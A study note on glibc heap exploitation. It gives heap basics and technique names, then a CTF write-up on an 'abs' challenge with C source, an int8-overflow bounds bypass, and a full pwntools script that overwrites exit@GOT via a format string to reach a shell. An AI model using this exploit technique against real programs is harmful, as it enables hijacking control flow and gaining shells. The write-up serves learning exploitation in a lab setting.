Basic knowledge about heap

  • All chunk sizes are aligned to 16 byte boundaries

  • P(0X01) - Previous chunk in use.
    If bit is set, the previous chunk is still in use and should not be considered a candidate for aoalscing.

      | CHUNK SIZE | A | M | P |
    
  • tcachebins: 7 blocks

  • malloc function

    • dlmalloc - General purpose allocation
    • ptmalloc2 - glibc
      • Fast for multi threaded applications
      • Fast for really small allocations
    • jemalloc - Firefox
    • tcmalloc - Chrome
      • is faster when threads are created/destructed…
      • Uses a shittonne of memory
  • chunk structure

    • what is chunk chunk Image

    • An “in-use” chunk chunk Image

    • A “free” chunk free_chunk Image

    • chunk C structure chunk C structure Image

    • chunks structure two chunks Image

  • fast bins

  • heap vulns have a strong relationship with Glibc version

Glibc Heap exploitation in 64linux systems

  • User after free
  • Double free
  • Leaking with small chunks
  • Forging chunks (with overflows)
  • Heap spray
  • Unlink
  • Shrinking free chunks
  • House of spirit
  • House of love
  • House of Force
  • House of …

Cammand

  • docker cammand

    cd challenges/
    docker run -d --rm -h banana --name banana -v .:/ctf/work --cap-add=SYS_PTRACE skysider/pwndocker
    docker exec -it banana /bin/bash
    
  • gdb cammand

      vis_heap_chunks - visualises the chunks in the heap
      bins            - shows the different chunks in the various bins
      tcachebins      - shows just the tcache bins
    

Challenge Example

  • I’d like to share one Forging chunks challenge here, abs.

    /**
    * This file is the sole property of Spod incorporated.
    *
    * It is illegal to modify this program in a way that will
    * reduce the number of Abs that the CEO of Spod Incorporated (Adam T) has.
    *
    * Complaints please contact noreply@spod.is
    */
    
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    #define EMPTY "     "
    #define EDGE " --- "
    #define AB "| - |"
    typedef struct abs {
      char *base;
      char *lines[5];
    } abs_t;
    
    // TODO(spod): make this harder for the final exam by removing win function.
    void win() { system("/bin/sh"); }
    
    char picture_of_adam[] = "      ////^\\\\\\\\\n"
                            "      | ^   ^ |\n"
                            "     @ (o) (o) @\n"
                            "      |   <   |\n"
                            "      |  ___  |\n"
                            "       \\_____/\n"
                            "     ____|  |____\n"
                            "    /    \\__/    \\\n"
                            "   /     %s    \\\n"
                            "  /\\_/|  %s |\\_/\\\n"
                            " / /  |  %s |  \\ \\\n"
                            "( <   |  %s |   > )\n"
                            " \\ \\  |  %s |  / /\n"
                            "  \\ \\ |________| / /\n"
                            "   \\ \\|\n";
    
    abs_t all_of_the_abs[] __attribute__((section("data"))) = {
        {picture_of_adam, EMPTY, EMPTY, "adam ", EMPTY, EMPTY},
        {picture_of_adam, EMPTY, EMPTY, EDGE, AB, EDGE},
        {picture_of_adam, EMPTY, EDGE, AB, AB, EDGE},
        {picture_of_adam, EDGE, AB, AB, AB, EDGE},
    };
    char buf[0xc0000] __attribute__((section("data"))) = "empty";
    
    int main(void) {
      // Disable buffering so it works on remote.
      setbuf(stdout, NULL);
    
      printf("Welcome to the Adam simulator.\n");
      printf("How many pair of abs do you want [0-3]: ");
    
      fgets(buf, 0xc0000, stdin);
      int8_t n = atoi(buf);
    
      // I've learnt from image viewer.
      // you can't read out of bounds now hahahahahahahhaha
      if (n < 0) {
        return -1;
      }
    
      register int8_t temp = n + 1;
      if (temp > (int8_t)4) {
        return -1;
      }
    
      int index = n;
      abs_t ab = all_of_the_abs[index];
      printf(ab.base, ab.lines[0], ab.lines[1], ab.lines[2], ab.lines[3], ab.lines[4]);
    
      exit(0);
    }
    
  • write up

    • Use an integer overflow vulnerability to bypass coditional check.
      Passing a number between 0 and 3 successfully passes the conditional check. However, passsing the number of 127 can also pass these checks as it is larger than ‘0’ and overflows to ‘-128’ when incremented.

          if (n < 0) {
          return -1;
        }
      
        register int8_t temp = n + 1;
        if (temp > (int8_t)4) {
          return -1;
        }
      
    • Forging chunks to trigger a fmt vuln. buffer Image got Image

    • Exploitation

          from pwn import *
      
      '''
      首次调用时,got表存放的是函数在plt表中跳转代码的地址。
      [0x404038] exit@GLIBC_2.2.5 -> 0x4010a6 (exit@plt+6) ◂— push 7
      '''
      
      
      
      context.terminal = ['tmux', 'splitw', '-h']
      p = gdb.debug('./abs', gdbscript='''
              break main
              break *main + 0x128
      
      ''')
      
      
      p = process("./abs")
      
      
      #win = 0x00401196
      #[0x404038] exit@GLIBC_2.2.5 -> 0x4010a6 (exit@plt+6) ◂— push 7
      
      
      exit_got = 0x404038
      
      format_first_addr = 0x404228
      
      payload = b'127 ' + b'\x00'*4          
      payload += b'%150c%1$hhn'  #0x96
      payload += b'%123c%2$hhn'  #0x7a  (0x11-0x96+0x100)
      #Offset is the offset of the out of bounds memory access from the start of the input buffer. 
      #This value was found to be 5904 using the cyclic command from pwntools. 
      payload += b'.' * (5904 - len(payload)) 
      
      
      
      
      payload += p64(format_first_addr)    # points to buf+8 which is our format string payload   
      payload += p64(0x404038)    # exit
      payload += p64(0x404039)    # exit+1
      payload += p64(0)
      payload += p64(0)
      payload += p64(0)
      
      
      p.sendlineafter(b"[0-3]: ", payload)
      
      
      p.interactive()
      
      p.close()
      
  • Summary
    Heap is the most difficult type of vulnerability. We need to actually understand the program todo any heap challenge. Heap vulnerabilities are diverse and complex, so here I only introduce a simple forging chunk challenge as an entry point.